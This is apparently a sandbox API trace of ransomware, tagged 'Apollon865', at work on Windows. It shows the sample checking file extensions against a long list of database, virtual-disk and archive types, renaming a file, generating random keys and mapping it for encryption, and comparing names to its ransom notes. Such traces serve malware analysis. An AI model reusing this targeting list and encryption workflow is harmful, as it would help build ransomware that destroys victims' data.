	[0081.268] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0081.268] lstrlenW (lpString="bak") returned 3
	[0081.268] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.268] lstrlenW (lpString="ba_") returned 3
	[0081.268] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.268] lstrlenW (lpString="dbb") returned 3
	[0081.268] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.268] lstrlenW (lpString="vmdk") returned 4
	[0081.268] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.268] lstrlenW (lpString="rar") returned 3
	[0081.269] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.269] lstrlenW (lpString="zip") returned 3
	[0081.269] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.269] lstrlenW (lpString="tgz") returned 3
	[0081.269] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.269] lstrlenW (lpString="vbox") returned 4
	[0081.269] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.269] lstrlenW (lpString="vdi") returned 3
	[0081.269] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.269] lstrlenW (lpString="vhd") returned 3
	[0081.269] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.269] lstrlenW (lpString="vhdx") returned 4
	[0081.269] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.269] lstrlenW (lpString="avhd") returned 4
	[0081.269] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.269] lstrlenW (lpString="db") returned 2
	[0081.269] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.269] lstrlenW (lpString="db2") returned 3
	[0081.269] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.269] lstrlenW (lpString="db3") returned 3
	[0081.269] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.269] lstrlenW (lpString="dbf") returned 3
	[0081.269] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.269] lstrlenW (lpString="mdf") returned 3
	[0081.269] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.269] lstrlenW (lpString="mdb") returned 3
	[0081.269] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.269] lstrlenW (lpString="sql") returned 3
	[0081.269] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.269] lstrlenW (lpString="sqlite") returned 6
	[0081.269] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.269] lstrlenW (lpString="sqlite3") returned 7
	[0081.269] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.269] lstrlenW (lpString="sqlitedb") returned 8
	[0081.269] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.269] lstrlenW (lpString="xml") returned 3
	[0081.269] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.270] lstrlenW (lpString="$er") returned 3
	[0081.270] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.270] lstrlenW (lpString="4dd") returned 3
	[0081.270] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.270] lstrlenW (lpString="4dl") returned 3
	[0081.270] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.270] lstrlenW (lpString="^^^") returned 3
	[0081.270] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.270] lstrlenW (lpString="abs") returned 3
	[0081.270] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.270] lstrlenW (lpString="abx") returned 3
	[0081.270] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.270] lstrlenW (lpString="accdb") returned 5
	[0081.270] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.270] lstrlenW (lpString="accdc") returned 5
	[0081.270] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.270] lstrlenW (lpString="accde") returned 5
	[0081.270] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.270] lstrlenW (lpString="accdr") returned 5
	[0081.270] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.270] lstrlenW (lpString="accdt") returned 5
	[0081.270] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.270] lstrlenW (lpString="accdw") returned 5
	[0081.270] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.270] lstrlenW (lpString="accft") returned 5
	[0081.270] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.270] lstrlenW (lpString="adb") returned 3
	[0081.270] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.270] lstrlenW (lpString="adb") returned 3
	[0081.270] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.270] lstrlenW (lpString="ade") returned 3
	[0081.270] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.270] lstrlenW (lpString="adf") returned 3
	[0081.270] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.270] lstrlenW (lpString="adn") returned 3
	[0081.271] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0081.271] lstrlenW (lpString="adp") returned 3
	[0081.271] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.271] lstrlenW (lpString="alf") returned 3
	[0081.271] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.271] lstrlenW (lpString="ask") returned 3
	[0081.271] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.271] lstrlenW (lpString="btr") returned 3
	[0081.271] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.271] lstrlenW (lpString="cat") returned 3
	[0081.271] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.271] lstrlenW (lpString="cdb") returned 3
	[0081.271] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.271] lstrlenW (lpString="ckp") returned 3
	[0081.271] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.271] lstrlenW (lpString="cma") returned 3
	[0081.271] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.271] lstrlenW (lpString="cpd") returned 3
	[0081.271] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.271] lstrlenW (lpString="dacpac") returned 6
	[0081.271] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.271] lstrlenW (lpString="dad") returned 3
	[0081.271] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.271] lstrlenW (lpString="dadiagrams") returned 10
	[0081.271] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0081.271] lstrlenW (lpString="daschema") returned 8
	[0081.271] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.271] lstrlenW (lpString="db-journal") returned 10
	[0081.271] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0081.271] lstrlenW (lpString="db-shm") returned 6
	[0081.271] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.271] lstrlenW (lpString="db-wal") returned 6
	[0081.271] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.271] lstrlenW (lpString="dbc") returned 3
	[0081.271] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.271] lstrlenW (lpString="dbs") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.272] lstrlenW (lpString="dbt") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.272] lstrlenW (lpString="dbv") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.272] lstrlenW (lpString="dbx") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.272] lstrlenW (lpString="dcb") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.272] lstrlenW (lpString="dct") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.272] lstrlenW (lpString="dcx") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.272] lstrlenW (lpString="ddl") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.272] lstrlenW (lpString="dlis") returned 4
	[0081.272] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.272] lstrlenW (lpString="dp1") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.272] lstrlenW (lpString="dqy") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.272] lstrlenW (lpString="dsk") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.272] lstrlenW (lpString="dsn") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.272] lstrlenW (lpString="dtsx") returned 4
	[0081.272] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.272] lstrlenW (lpString="dxl") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.272] lstrlenW (lpString="eco") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.272] lstrlenW (lpString="ecx") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.272] lstrlenW (lpString="edb") returned 3
	[0081.272] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.272] lstrlenW (lpString="epim") returned 4
	[0081.273] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.273] lstrlenW (lpString="fcd") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.273] lstrlenW (lpString="fdb") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.273] lstrlenW (lpString="fic") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.273] lstrlenW (lpString="flexolibrary") returned 12
	[0081.273] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0081.273] lstrlenW (lpString="fm5") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.273] lstrlenW (lpString="fmp") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.273] lstrlenW (lpString="fmp12") returned 5
	[0081.273] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.273] lstrlenW (lpString="fmpsl") returned 5
	[0081.273] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.273] lstrlenW (lpString="fol") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.273] lstrlenW (lpString="fp3") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.273] lstrlenW (lpString="fp4") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.273] lstrlenW (lpString="fp5") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.273] lstrlenW (lpString="fp7") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.273] lstrlenW (lpString="fpt") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.273] lstrlenW (lpString="frm") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.273] lstrlenW (lpString="gdb") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.273] lstrlenW (lpString="gdb") returned 3
	[0081.273] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.273] lstrlenW (lpString="grdb") returned 4
	[0081.274] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.274] lstrlenW (lpString="gwi") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.274] lstrlenW (lpString="hdb") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.274] lstrlenW (lpString="his") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.274] lstrlenW (lpString="ib") returned 2
	[0081.274] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.274] lstrlenW (lpString="idb") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.274] lstrlenW (lpString="ihx") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.274] lstrlenW (lpString="itdb") returned 4
	[0081.274] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.274] lstrlenW (lpString="itw") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.274] lstrlenW (lpString="jet") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.274] lstrlenW (lpString="jtx") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.274] lstrlenW (lpString="kdb") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.274] lstrlenW (lpString="kexi") returned 4
	[0081.274] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.274] lstrlenW (lpString="kexic") returned 5
	[0081.274] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.274] lstrlenW (lpString="kexis") returned 5
	[0081.274] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.274] lstrlenW (lpString="lgc") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.274] lstrlenW (lpString="lwx") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.274] lstrlenW (lpString="maf") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.274] lstrlenW (lpString="maq") returned 3
	[0081.274] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.274] lstrlenW (lpString="mar") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.275] lstrlenW (lpString="marshal") returned 7
	[0081.275] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.275] lstrlenW (lpString="mas") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.275] lstrlenW (lpString="mav") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.275] lstrlenW (lpString="maw") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.275] lstrlenW (lpString="mdbhtml") returned 7
	[0081.275] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.275] lstrlenW (lpString="mdn") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.275] lstrlenW (lpString="mdt") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.275] lstrlenW (lpString="mfd") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.275] lstrlenW (lpString="mpd") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.275] lstrlenW (lpString="mrg") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.275] lstrlenW (lpString="mud") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.275] lstrlenW (lpString="mwb") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.275] lstrlenW (lpString="myd") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.275] lstrlenW (lpString="ndf") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.275] lstrlenW (lpString="nnt") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.275] lstrlenW (lpString="nrmlib") returned 6
	[0081.275] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.275] lstrlenW (lpString="ns2") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.275] lstrlenW (lpString="ns3") returned 3
	[0081.275] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.276] lstrlenW (lpString="ns4") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.276] lstrlenW (lpString="nsf") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.276] lstrlenW (lpString="nv") returned 2
	[0081.276] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.276] lstrlenW (lpString="nv2") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.276] lstrlenW (lpString="nwdb") returned 4
	[0081.276] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.276] lstrlenW (lpString="nyf") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.276] lstrlenW (lpString="odb") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.276] lstrlenW (lpString="odb") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.276] lstrlenW (lpString="oqy") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.276] lstrlenW (lpString="ora") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.276] lstrlenW (lpString="orx") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.276] lstrlenW (lpString="owc") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.276] lstrlenW (lpString="p96") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.276] lstrlenW (lpString="p97") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.276] lstrlenW (lpString="pan") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.276] lstrlenW (lpString="pdb") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.276] lstrlenW (lpString="pdm") returned 3
	[0081.276] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.277] lstrlenW (lpString="pnz") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.277] lstrlenW (lpString="qry") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.277] lstrlenW (lpString="qvd") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.277] lstrlenW (lpString="rbf") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.277] lstrlenW (lpString="rctd") returned 4
	[0081.277] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.277] lstrlenW (lpString="rod") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.277] lstrlenW (lpString="rodx") returned 4
	[0081.277] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.277] lstrlenW (lpString="rpd") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.277] lstrlenW (lpString="rsd") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.277] lstrlenW (lpString="sas7bdat") returned 8
	[0081.277] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.277] lstrlenW (lpString="sbf") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.277] lstrlenW (lpString="scx") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.277] lstrlenW (lpString="sdb") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.277] lstrlenW (lpString="sdc") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.277] lstrlenW (lpString="sdf") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.277] lstrlenW (lpString="sis") returned 3
	[0081.277] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.277] lstrlenW (lpString="spq") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.278] lstrlenW (lpString="te") returned 2
	[0081.278] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.278] lstrlenW (lpString="teacher") returned 7
	[0081.278] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.278] lstrlenW (lpString="tmd") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.278] lstrlenW (lpString="tps") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.278] lstrlenW (lpString="trc") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.278] lstrlenW (lpString="trc") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.278] lstrlenW (lpString="trm") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.278] lstrlenW (lpString="udb") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.278] lstrlenW (lpString="udl") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.278] lstrlenW (lpString="usr") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.278] lstrlenW (lpString="v12") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.278] lstrlenW (lpString="vis") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.278] lstrlenW (lpString="vpd") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.278] lstrlenW (lpString="vvv") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.278] lstrlenW (lpString="wdb") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.278] lstrlenW (lpString="wmdb") returned 4
	[0081.278] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.278] lstrlenW (lpString="wrk") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.278] lstrlenW (lpString="xdb") returned 3
	[0081.278] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.279] lstrlenW (lpString="xld") returned 3
	[0081.279] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.279] lstrlenW (lpString="xmlff") returned 5
	[0081.279] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.279] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll.Apollon865") returned 82
	[0081.279] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\omsintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\omsintl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.281] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\omsintl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.281] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=45920) returned 1
	[0081.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.282] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.282] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.282] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.282] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.282] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.283] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb660, lpName=0x0) returned 0x15c
	[0081.292] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb660) returned 0x100000
	[0081.296] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.296] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.296] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.296] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0081.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0081.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0081.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.297] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0081.297] CloseHandle (hObject=0x15c) returned 1
	[0081.298] CloseHandle (hObject=0x9c) returned 1
	[0081.298] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.298] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.298] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.298] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63b88300, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63b88300, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="ONINTL~1.TRX")) returned 1
	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.298] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
